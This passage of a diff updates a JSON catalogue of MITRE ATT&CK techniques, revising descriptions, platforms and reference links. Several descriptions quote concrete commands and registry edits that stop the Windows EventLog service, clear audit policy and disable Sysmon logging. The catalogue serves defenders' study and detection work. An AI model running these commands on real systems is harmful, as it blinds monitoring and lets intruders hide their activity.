the techniques can be used in conjunction where a token is duplicated and then used to create a new process.", "meta": { "external_id": "T1134.002", "kill_chain": [ @@ -3649,7 +3675,7 @@ "value": "System Runtime API Hijacking - T1625.001" }, { - "description": "Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)\n\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)\n\nIn cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.\n\nFurthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\n\nAdditionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)", + "description": "Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)\n\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) \n\nAdversaries may also focus on specific applications such as Sysmon. For example, the “Start” and “Enable” values in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) \n\nIn cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.\n\nFurthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\n\nAdditionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)", "meta": { "external_id": "T1562.001", "kill_chain": [ @@ -3673,9 +3699,9 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1562/001", - "https://capec.mitre.org/data/definitions/578.html", "https://cdn.logic-control.com/docs/scadafence/Anatomy-Of-A-Targeted-Ransomware-Attack-WP.pdf", "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/", + "https://ptylu.github.io/content/report/report.html?report=25", "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/demystifying-ransomware-attacks-against-microsoft-defender/ba-p/1928947", "https://thehackernews.com/2022/05/avoslocker-ransomware-variant-using-new.html", "https://www.crowdstrike.com/blog/how-doppelpaymer-hunts-and-kills-windows-processes/", @@ -3724,7 +3750,7 @@ "value": "Compromise Software Supply Chain - T1195.002" }, { - "description": "Adversaries may make and impersonate tokens to escalate privileges and bypass access controls. If an adversary has a username and password but the user is not logged onto the system, the adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread.", + "description": "Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.\n\nThis behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an existing one.", "meta": { "external_id": "T1134.003", "kill_chain": [ @@ -3799,7 +3825,6 @@ "refs": [ "http://msdn.microsoft.com/en-us/library/bb166549.aspx", "https://attack.mitre.org/techniques/T1546/001", - "https://capec.mitre.org/data/definitions/556.html", "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc", "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs", "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd" @@ -3867,7 +3892,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1574/001", - "https://capec.mitre.org/data/definitions/471.html", "https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637", "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN", "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN", @@ -3906,8 +3930,7 @@ "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1574/010", - "https://capec.mitre.org/data/definitions/17.html" + "https://attack.mitre.org/techniques/T1574/010" ] }, "related": [ @@ -3979,7 +4002,7 @@ "value": "Network Address Translation Traversal - T1599.001" }, { - "description": "Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\\Local Policies\\Audit Policy for basic audit policy settings or Security Settings\\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the EventLog service may be disabled using the following PowerShell line: Stop-Service -Name EventLog.(Citation: Disable_Win_Event_Logging) Additionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:”Account Logon” /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)\n\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.", + "description": "Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\\Local Policies\\Audit Policy for basic audit policy settings or Security Settings\\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the Set-Service -Name EventLog -Status Stopped or sc config eventlog start=disabled commands (followed by manually stopping the service using Stop-Service -Name EventLog).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging) Additionally, the service may be disabled by modifying the “Start” value in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog then restarting the system for the change to take effect.(Citation: disable_win_evt_logging)\n\nThere are several ways to disable the EventLog service via registry key modification. First, without Administrator privileges, adversaries may modify the \"Start\" value in the key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Security, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) Second, with Administrator privilege, adversaries may modify the same values in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System and HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application to disable the entire EventLog.(Citation: disable_win_evt_logging)\n\nAdditionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:”Account Logon” /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)\n\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.", "meta": { "external_id": "T1562.002", "kill_chain": [ @@ -4003,8 +4026,10 @@ "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings", "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy", "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md", + "https://ptylu.github.io/content/report/report.html?report=25", "https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html", "https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c", + "https://web.archive.org/web/20211107115646/https://twitter.com/klinix5/status/1457316029114327040", "https://www.coretechnologies.com/blog/windows-services/eventlog/", "https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/", "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/" @@ -4038,7 +4063,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1562/003", - "https://capec.mitre.org/data/definitions/13.html", "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit", "https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics", "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7" @@ -4565,7 +4589,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1574/011", - "https://capec.mitre.org/data/definitions/478.html", "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree", "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN", @@ -4619,7 +4642,7 @@ "value": "Component Object Model Hijacking - T1546.015" }, { - "description": "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)", + "description": "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is the use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file.(Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload.(Citation: Carbon Black Obfuscation Sept 2016)\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)", "meta": { "external_id": "T1140", "kill_chain": [ @@ -4712,7 +4735,7 @@ "value": "Data Transfer Size Limits - T1030" }, { - "description": "Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information. Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n", + "description": "Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n", "meta": { "external_id": "T1005", "kill_chain": [ @@ -4733,6 +4756,7 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1005", + "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_protocols_through_showmon.html#wp2760878733", "https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits", "https://www.us-cert.gov/ncas/alerts/TA18-106A" ] @@ -4815,7 +4839,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1016", - "https://capec.mitre.org/data/definitions/309.html", "https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits", "https://www.us-cert.gov/ncas/alerts/TA18-106A" ] @@ -4996,7 +5019,7 @@ "value": "Data from Configuration Repository - T1602" }, { - "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also use compressed or archived scripts, such as JavaScript. \n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also obfuscate commands executed from payloads or directly via a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ", + "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also use compressed or archived scripts, such as JavaScript. \n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ", "meta": { "external_id": "T1027", "kill_chain": [ @@ -5008,7 +5031,10 @@ "File: File Metadata", "Module: Module Load", "Process: OS API Execution", - "Process: Process Creation" + "Process: Process Creation", + "Script: Script Execution", + "WMI: WMI Creation", + "Windows Registry: Windows Registry Key Creation" ], "mitre_platforms": [ "Linux", @@ -5017,12 +5043,11 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1027", - "https://capec.mitre.org/data/definitions/267.html", "https://github.com/danielbohannon/Revoke-Obfuscation", "https://github.com/itsreallynick/office-crackros", "https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/", + "https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html", "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/", - "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html", "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf", "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/", "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/" @@ -5177,8 +5202,6 @@ "refs": [ "https://attack.mitre.org/techniques/T1083", "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html", - "https://capec.mitre.org/data/definitions/127.html", - "https://capec.mitre.org/data/definitions/497.html", "https://www.us-cert.gov/ncas/alerts/TA18-106A" ] }, @@ -5340,13 +5363,15 @@ "value": "Obtain Device Cloud Backups - T1470" }, { - "description": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques) ", + "description": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)\n\nMany IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009).", "meta": { "external_id": "T1048", "kill_chain": [ "mitre-attack:exfiltration" ], "mitre_data_sources": [ + "Application Log: Application Log Content", + "Cloud Storage: Cloud Storage Access", "Command: Command Execution", "File: File Access", "Network Traffic: Network Connection Creation", @@ -5356,7 +5381,12 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows" + "Windows", + "Office 365", + "SaaS", + "IaaS", + "Google Workspace", + "Network" ], "refs": [ "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/", @@ -5481,7 +5511,11 @@ "Linux", "macOS", "Windows", - "Network" + "Network", + "Office 365", + "Azure AD", + "IaaS", + "Google Workspace" ], "refs": [ "https://attack.mitre.org/techniques/T1059", @@ -5805,7 +5839,7 @@ "value": "Kernel Modules and Extensions - T1215" }, { - "description": "Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)\n\nAn adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. ", + "description": "Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)\n\nAn adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. ", "meta": { "external_id": "T1612", "kill_chain": [ @@ -7068,10 +7102,6 @@ "refs": [ "https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/", "https://attack.mitre.org/techniques/T1499", - "https://capec.mitre.org/data/definitions/125.html", - "https://capec.mitre.org/data/definitions/130.html", - "https://capec.mitre.org/data/definitions/131.html", - "https://capec.mitre.org/data/definitions/227.html", "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf", "https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html", "https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf", @@ -7333,7 +7363,7 @@ "value": "Dynamic-link Library Injection - T1055.001" }, { - "description": "Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). \n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)", + "description": "Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.\n\nExploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). \n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nAdversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)", "meta": { "external_id": "T1190", "kill_chain": [ @@ -7359,7 +7389,9 @@ "https://nvd.nist.gov/vuln/detail/CVE-2016-6662", "https://us-cert.cisa.gov/ncas/alerts/TA18-106A", "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/", - "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project" + "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem", + "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project", + "https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/" ] }, "uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", @@ -7380,7 +7412,7 @@ "value": "Untargeted client-side exploitation - T1370" }, { - "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.", + "description": "Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.", "meta": { "external_id": "T1095", "kill_chain": [ @@ -7409,7 +7441,7 @@ "value": "Non-Application Layer Protocol - T1095" }, { - "description": "Adversaries may target multi-factor authentication (MFA) mechanisms, (I.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)", + "description": "Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal 